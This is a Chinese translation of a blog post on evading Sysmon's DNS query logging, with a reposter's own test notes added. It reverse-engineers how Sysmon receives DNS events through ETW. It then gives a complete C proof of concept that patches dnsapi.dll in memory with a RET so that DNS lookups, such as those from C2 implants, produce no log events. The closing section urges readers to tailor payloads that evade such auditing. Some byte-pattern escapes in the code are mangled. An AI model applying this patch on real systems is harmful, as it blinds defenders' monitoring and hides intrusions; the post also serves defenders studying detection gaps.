如何规避Sysmon DNS监控
如何规避Sysmon DNS监控
阅读量358951
|评论7
|
发布时间 : 2019-06-17 16:30:13
译文声明
本文是翻译文章，文章原作者 xpnsec，文章来源：blog.xpnsec.com
原文地址：https://blog.xpnsec.com/evading-sysmon-dns-monitoring/
译文仅供参考，具体内容表达以及含义原文为准。
0x00 前言
Sysmon在最近更新中添加了一个功能，可以记录DNS事件。这一点对防御方非常有用（呼吁SysInternals团队继续免费添加并提供这类工具），但对攻击方而言，这意味着如果我们的植入后门或者payload尝试通过DNS进行通信，那么蓝队就有可能搜集到相关特征，用来检测攻击行为。
容易受该功能影响的一种场景就是基于DNS的C2通信，其中大量请求会被记录下来，可能导致出师未捷身先死。在某次测试过程中，目标环境中部署了这种机制，因此我想花一点时间了解如何规避这种检测机制。在本文中，我将与大家分享规避Sysmon 10.1的一种方法。
在规避Sysmon之前，我们首先需要搭建测试环境。这里我使用@SwiftOnSecurity的sysmon-config来安装Sysmon，命令如下：
sysmon.exe -accepteula -i rules.xml
测试环境搭建完毕并正常运行后，我们可以看到有源源不断的事件被记录下来。过滤Event ID 22，我们可以重点关注“DNS query”（DNS请求）事件，如下所示：
一切准备就绪后，我们可以看下查询请求被记录的原理。
0x01 DNS日志审计原理
为了澄清在规避时可以使用哪些选项，我首先想了解一下底层工作原理。根据其他参考资料，我们知道Sysmon会大量依赖ETW来监控各种行为（比如网络连接）。因此DNS监控很有可能也采用相同方式。如果我们使用如下命令，就能找到第一条线索，表明ETW的确是关键点：
logman -ets
安装Sysmon后，我注意到上图的“Data Collector Set”包含一个“My Event Trace Session”。如果我们进一步分析这个点，可以看到这个数据收集器很有可能负责将DNS数据提供给Sysmon。
继续搜索后，我们可以在各种位置通过Microsoft-Windows-DNS-Client这个事件源来获取关于DNS查询的一些信息。但在使用这种方法之前，我通常喜欢通过对应服务来交叉验证这一点，因此这里我们可以试一下Ghidra。在Ghidra中搜索“My Event Trace Session”后，我们找到了如下函数：
我们在SysMon64.exe中找到了这个函数，其中引用了这个特征（备注：这个函数以及名称与微软官方文档中提供的示例代码非常相似）。在上图中，传递给EnableTraceEx2的第2个参数指向的是如下数据：
这显然与logman输出结果中Microsoft-Windows-DNS-Client的GUID相同（{1C95126E-7EEa-49A9-A3FE-A378B03DDB4D}）。因此现在我们可以肯定这正是该工具记录DNS查询的方法。接下来，我们需要澄清发起DNS请求时这些日志如何被触发。
0x02 触发相关日志
这里我们试一下常用的DNS API：DnsQuery_A，利用这个API来找到相关ETW数据可能出现的位置。我们显然可以从dnsapi.dll中开始寻找，这也是托管该API的服务程序。将该DLL及对应的PDB载入Ghidra中，我们可以开始查找与ETW有关的一些功能。由于我们已经知道与DNS事件相关的一个GUID，因此可以使用这个特征来寻找出发点。令人惊讶的是，我们的确在DLL中找到了这个GUID，对应的是DNS_CLIENT符号：
如果我们继续跟进，可知McGenEventRegister函数中引用到了DNS_CLIENT：
DllMain中会调用该函数，这意味着系统会创建一个句柄（DNS_CLIENT_Context），用来发送相关事件。
为了了解整个DLL中如何使用这个句柄，我们可以创建一个小程序，功能很简单，就是发起DNS查询：
#include <Windows.h>
#include <WinDNS.h>
int main()
{
DnsQuery_A("blog.xpnsec.com", DNS_TYPE_A, DNS_QUERY_STANDARD, NULL, NULL, NULL);
}
VS 2022安装后：
我的代码：
#include <Windows.h>
#include <WinDNS.h>
#include <stdio.h>
int main()
{
DnsQuery_A("xixi.com", DNS_TYPE_A, DNS_QUERY_STANDARD, NULL, NULL, NULL);
printf("OK!");
}
vs编译的时候：
需要：
运行：
火绒剑里监控到的：
看来火绒剑抓数据不如sysmon！！！
如果编译该程序并在WinDBG中分析，我们可以添加一个断点，在内存读取DNS_CLIENT_Context时触发该断点，命令如下：
ba r4 DNSAPI!DNS_CLIENT_Context
恢复应用执行后，断点很快就被触发，可以找到如下调用栈：
而我们对应的指令如下：
这些信息意味着DnsApi.dll内部会向Microsoft-Windows-DNS-Client发送事件，这个DLL会加载到攻击者进程中，而该进程我们正好可以控制。
0x03 规避方法
现在我们知道这些事件会从DnsApi.dll内部发出，并且由于该DLL会在我们可控的进程内调用，因此我们可以影响这个过程。这也是我们可以考虑进行patch的一个点。
如何完成这个任务有各种方法，大家可以自己选择。在PoC中，我们选择在运行时patch DNSAPI!McTemplateU0zqxqz，使其不通过EtwEventWriteTransfer发送相关事件，直接返回。大家可以参考如下代码：
#include <iostream>
#include <Windows.h>
#include <WinDNS.h>
// Pattern for hunting dnsapi!McTemplateU0zqxqz
#define PATTERN (unsigned char*)"x48x89x5cx24x08x44x89x4cx24x20x55x48x8dx6c"
#define PATTERN_LEN 14
// Search for pattern in memory
DWORD SearchPattern(unsigned char* mem, unsigned char* signature, DWORD signatureLen) {
ULONG offset = 0;
for (int i = 0; i < 0x200000; i++) {
if (*(unsigned char*)(mem + i) == signature[0] && *(unsigned char*)(mem + i + 1) == signature[1]) {
if (memcmp(mem + i, signature, signatureLen) == 0) {
// Found the signature
offset = i;
break;
}
}
}
return offset;
}
int main()
{
DWORD oldProtect, oldOldProtect;
printf("DNS Sysmon Bypass POCn by @_xpn_nn");
unsigned char *dll = (unsigned char *)LoadLibraryA("dnsapi.dll");
if (dll == (void*)0) {
printf("[x] Could not load dnsapi.dlln");
return 1;
}
DWORD patternOffset = SearchPattern(dll, PATTERN, PATTERN_LEN);
printf("[*] Pattern found at offset %dn", patternOffset);
printf("[*] Patching with RETn");
VirtualProtect(dll + patternOffset, 10, PAGE_EXECUTE_READWRITE, &oldProtect);
*(dll + patternOffset) = 0xc3;
VirtualProtect(dll, 10, oldProtect, &oldOldProtect);
printf("[*] Sending DNS Query... should now not be detectedn");
DnsQuery_A("blog.xpnsec.com", DNS_TYPE_A, DNS_QUERY_STANDARD, NULL, NULL, NULL);
}
成功patch后，如果我们在程序中发起DNS查询请求，可以在不触发任何事件情况下，调用DNS客户端API。整个过程参考此处视频。
注： 我在win11下没有成功：GG
0x04 总结
本文给出了规避这种监控机制可以采用的一种方法，深入了解内部工作原理后，希望大家在将来遇到这类日志审计机制时，能够采用类似方法定制payload，成功规避相关事件。
没有任何机制是百分百有效且安全的，如果蓝队小伙伴们想知道自己是否有必要部署这种技术（或者类似技术），可以考虑攻击者在规避这种技术时需要采用的其他方法，考虑后再做决策。
